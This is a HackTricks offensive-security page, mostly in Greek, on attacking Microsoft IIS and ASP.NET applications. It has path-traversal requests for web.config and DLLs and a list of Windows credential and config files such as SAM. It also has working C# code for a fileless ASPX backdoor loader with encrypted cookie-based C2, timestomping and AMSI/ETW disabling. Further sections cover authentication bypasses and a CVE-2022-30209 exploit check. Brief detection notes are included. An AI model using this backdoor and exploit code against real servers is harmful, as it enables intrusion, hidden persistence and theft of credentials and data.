IIS - Internet Information Services
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επεκτάσεις εκτελέσιμων αρχείων προς δοκιμή:
- asp
- aspx
- config
- php
Αποκάλυψη εσωτερικής διεύθυνσης IP
Σε οποιονδήποτε διακομιστή IIS όπου λαμβάνετε 302 μπορείτε να δοκιμάσετε να αφαιρέσετε το Host header και να χρησιμοποιήσετε HTTP/1.0, και μέσα στην απάντηση το Location header θα μπορούσε να δείχνει την εσωτερική διεύθυνση IP:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Απάντηση που αποκαλύπτει την εσωτερική διεύθυνση IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Εκτέλεση αρχείων .config
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα σχόλιο HTML: Download example here
Περισσότερες πληροφορίες και τεχνικές για να εκμεταλλευτείτε αυτή την ευπάθεια here
IIS Discovery Bruteforce
Κατεβάστε τη λίστα που δημιούργησα:
Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των ακόλουθων λιστών:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Χρησιμοποιήστε τη χωρίς να προσθέσετε κάποια επέκταση, τα αρχεία που την χρειάζονται τη φέρουν ήδη.
Path Traversal
Leaking source code
Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
Ως περίληψη, υπάρχουν αρκετά web.config αρχεία μέσα στους φακέλους της εφαρμογής με αναφορές σε “assemblyIdentity” αρχεία και “namespaces”. Με αυτές τις πληροφορίες είναι δυνατό να γνωρίζετε που βρίσκονται τα εκτελέσιμα αρχεία και να τα κατεβάσετε.
Από τα downloaded Dlls είναι επίσης δυνατό να βρείτε νέα namespaces στα οποία θα πρέπει να προσπαθήσετε να έχετε πρόσβαση και να πάρετε το web.config αρχείο ώστε να βρείτε νέα namespaces και assemblyIdentity.
Επίσης, τα αρχεία connectionstrings.config και global.asax μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
Σε .Net MVC applications, το αρχείο web.config παίζει κρίσιμο ρόλο προσδιορίζοντας κάθε δυαδικό αρχείο από το οποίο εξαρτάται η εφαρμογή μέσω των XML tags “assemblyIdentity”.
Εξερεύνηση Δυαδικών Αρχείων
An example of accessing the web.config file is shown below:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:
- έκδοση του EntityFramework
- AppSettings για σελίδες web, επικύρωση πελάτη και JavaScript
- System.web ρυθμίσεις για αυθεντικοποίηση και runtime
- System.webServer ρυθμίσεις των modules
- Runtime assembly bindings για πολλές βιβλιοθήκες όπως Microsoft.Owin, Newtonsoft.Json, και System.Web.Mvc
Αυτές οι ρυθμίσεις υποδεικνύουν ότι κάποια αρχεία, όπως /bin/WebGrease.dll, βρίσκονται στον φάκελο /bin της εφαρμογής.
Αρχεία Ριζικού Καταλόγου
Αρχεία που βρίσκονται στον ριζικό κατάλογο, όπως /global.asax και /connectionstrings.config (που περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη διαμόρφωση και τη λειτουργία της εφαρμογής.
Χώροι ονομάτων και web.config
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον web.config αρχεία για συγκεκριμένους χώρους ονομάτων ώστε να αποφευχθεί η επαναλαμβανόμενη δήλωση σε κάθε αρχείο, όπως φαίνεται με ένα αίτημα για λήψη ενός ακόμη web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Λήψη DLLs
Η αναφορά σε έναν προσαρμοσμένο χώρο ονομάτων υποδηλώνει ένα DLL με όνομα “WebApplication1” που υπάρχει στον φάκελο /bin. Ακολουθεί ένα αίτημα για λήψη του WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Αυτό υποδηλώνει την παρουσία και άλλων απαραίτητων DLL, όπως System.Web.Mvc.dll και System.Web.Optimization.dll, στον κατάλογο /bin.
Σε ένα σενάριο όπου ένα DLL εισάγει ένα namespace με όνομα WebApplication1.Areas.Minded, ένας attacker μπορεί να συμπεράνει την ύπαρξη άλλων web.config αρχείων σε προβλέψιμες διαδρομές, όπως /area-name/Views/, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλα DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς /Minded/Views/web.config μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία ενός άλλου DLL, WebApplication1.AdditionalFeatures.dll.
Κοινά αρχεία
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Σφάλμα
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
It means that the server didn’t receive the correct domain name inside the Host header.
In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isn’t there you may need to brute force VHosts until you find the correct one.
Αποκρυπτογράφηση κρυπτογραφημένης διαμόρφωσης και ASP.NET Core Data Protection key rings
Two common patterns to protect secrets on IIS-hosted .NET apps are:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) για τμήματα του web.config όπως τα
. - ASP.NET Core Data Protection key ring (persisted locally) που χρησιμοποιείται για την προστασία μυστικών εφαρμογής και cookies.
If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
- ASP.NET (Full Framework) – αποκρυπτογραφήστε προστατευόμενα τμήματα του config με aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – αναζητήστε τα Data Protection key rings που είναι αποθηκευμένα τοπικά (αρχεία XML/JSON) σε τοποθεσίες όπως:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (π.χ., App_Data\keys ή ένας φάκελος Keys δίπλα στην εφαρμογή)
Έχοντας διαθέσιμο το key ring, ένας χειριστής που τρέχει με την ταυτότητα της εφαρμογής μπορεί να instantiate ένα IDataProtector με τους ίδιους purposes και να unprotect τα αποθηκευμένα secrets. Λανθασμένες διαμορφώσεις που αποθηκεύουν το key ring μαζί με τα αρχεία της εφαρμογής καθιστούν την offline αποκρυπτογράφηση προφανή μόλις το host παραβιαστεί.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Το Phantom Taurus/NET-STAR toolkit δείχνει ένα ώριμο pattern για fileless IIS persistence και post‑exploitation εντελώς μέσα στο w3wp.exe. Οι βασικές ιδέες είναι ευρέως επαναχρησιμοποιήσιμες για custom tradecraft και για detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: μια μοναδική σελίδα .aspx (π.χ., OutlookEN.aspx) μεταφέρει ένα Base64‑encoded, προαιρετικά Gzip‑compressed .NET DLL. Σε ένα trigger request αποκωδικοποιεί, αποσυμπιέζει και το reflectively loads στο current AppDomain και καλεί το main entry point (π.χ., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results τυλίγονται με Gzip → AES‑ECB/PKCS7 → Base64 και μεταφέρονται μέσω φαινομενικά νόμιμων requests γεμάτων cookies· operators χρησιμοποιούσαν σταθερούς delimiters (π.χ., “STAR”) για chunking.
- Reflective .NET execution: δέχεται arbitrary managed assemblies ως Base64, φορτώνει μέσω Assembly.Load(byte[]) και περνάει operator args για γρήγορες module swaps χωρίς να αγγίζει το disk.
- Operating in precompiled ASP.NET sites: προσθέτει/διαχειρίζεται auxiliary shells/backdoors ακόμη και όταν ο site είναι precompiled (π.χ., ο dropper προσθέτει dynamic pages/handlers ή αξιοποιεί config handlers) – εκτίθεται μέσω εντολών όπως bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: εκθέτει μια changeLastModified action και timestomp κατά την ανάπτυξη (συμπεριλαμβανομένων μελλοντικών compilation timestamps) για να δυσκολέψει το DFIR.
- Optional AMSI/ETW pre‑disable for loaders: ένας second‑stage loader μπορεί να απενεργοποιήσει AMSI και ETW πριν καλέσει Assembly.Load για να μειώσει την επιθεώρηση των in‑memory payloads.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Βοηθήματα συσκευασίας/κρυπτογράφησης (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Ροή Cookie/session και επιφάνεια εντολών
- Το Session bootstrap και το tasking μεταφέρονται μέσω cookies ώστε να συγχωνεύονται με την κανονική web δραστηριότητα.
- Εντολές που παρατηρήθηκαν σε πραγματικά περιβάλλοντα περιλάμβαναν: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code για in‑memory .NET execution.
Εργαλείο Timestomping
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inline απενεργοποίηση AMSI/ETW πριν από Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Δες AMSI/ETW bypass techniques στο: windows-hardening/av-bypass.md
Hunting σημειώσεις (defenders)
- Μία μοναδική, περίεργη σελίδα ASPX με πολύ μεγάλα Base64/Gzip blobs; αιτήσεις με πολλά cookies.
- Unbacked managed modules μέσα σε w3wp.exe; συμβολοσειρές όπως Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Επαναλαμβανόμενοι διαχωριστές όπως “STAR” στην κίνηση; ασύμβατες ή ακόμα και μελλοντικές χρονοσφραγίδες σε ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Πολλές εφαρμογές ASP.NET ενσωματώνουν το Telerik UI for ASP.NET AJAX και εκθέτουν τον μη-προελεγμένο handler Telerik.Web.UI.WebResource.axd. Όταν το Image Editor cache endpoint είναι προσβάσιμο (type=iec), οι παράμετροι dkey=1 και prtype ενεργοποιούν unsafe reflection που εκτελεί οποιονδήποτε public parameterless constructor pre‑auth. Αυτό παρέχει ένα γενικό DoS primitive και μπορεί να εξελιχθεί σε pre‑auth RCE σε εφαρμογές με ανασφαλείς AppDomain.AssemblyResolve handlers.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Μπορείτε να δοκιμάσετε να εξαγάγετε φακέλους και αρχεία μέσα σε κάθε εντοπισμένο φάκελο (ακόμα κι αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την τεχνική.
Ο κύριος περιορισμός αυτής της τεχνικής αν ο server είναι ευάλωτος είναι ότι μπορεί να βρει μόνο έως τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης των αρχείων.
Μπορείτε να χρησιμοποιήσετε https://github.com/irsdl/IIS-ShortName-Scanner για να ελέγξετε για αυτή την ευπάθεια:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Μπορείτε επίσης να χρησιμοποιήσετε metasploit: use scanner/http/iis_shortname_scanner
Μια καλή ιδέα για να βρείτε το τελικό όνομα των εντοπισμένων αρχείων είναι να ρωτήσετε LLMs για επιλογές όπως γίνεται στο script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
Μπορείτε να δοκιμάσετε να συνδυάσετε αυτή την ευπάθεια και την προηγούμενη για να βρείτε νέους φακέλους και να bypass την authentication.
ASP.NET Trace.AXD enabled debugging
Το ASP.NET περιλαμβάνει ένα mode debugging και το αρχείο του ονομάζεται trace.axd.
Κρατάει πολύ λεπτομερή log όλων των requests που έγιναν στην εφαρμογή για μια περίοδο χρόνου.
Αυτές οι πληροφορίες περιλαμβάνουν IPs των απομακρυσμένων clients, session IDs, όλα τα request και response cookies, φυσικά μονοπάτια, πληροφορίες πηγαίου κώδικα, και ενδεχομένως ακόμα και usernames και passwords.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH χρησιμοποιεί τις παρακάτω πληροφορίες:
validationKey(string): hex-encoded key to use for signature validation.decryptionMethod(string): (default “AES”).decryptionIV(string): hex-encoded initialization vector (defaults to a vector of zeros).decryptionKey(string): hex-encoded key to use for decryption.
Ωστόσο, κάποιοι χρησιμοποιούν τις default τιμές αυτών των παραμέτρων και βάζουν ως cookie το email του χρήστη. Επομένως, αν μπορείτε να βρείτε μια ιστοσελίδα που χρησιμοποιεί την ίδια πλατφόρμα και χρησιμοποιεί το ASPXAUTH cookie και δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε στον server-στόχο, μπορεί να είστε σε θέση να χρησιμοποιήσετε το cookie από τον δεύτερο server στον πρώτο και να προσποιηθείτε τον χρήστη.
Αυτή η επίθεση δούλεψε σε αυτό το writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Ένα σφάλμα στον κώδικα δεν ελεγχόταν σωστά το password που παρείχε ο χρήστης, οπότε ένας attacker του οποίου το password hash hits a key που είναι ήδη στην cache θα μπορεί να συνδεθεί ως εκείνος ο χρήστης.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Αναφορές
- Unit 42 – Phantom Taurus: Ένα νέο κινεζικό Nexus APT και η ανακάλυψη της NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

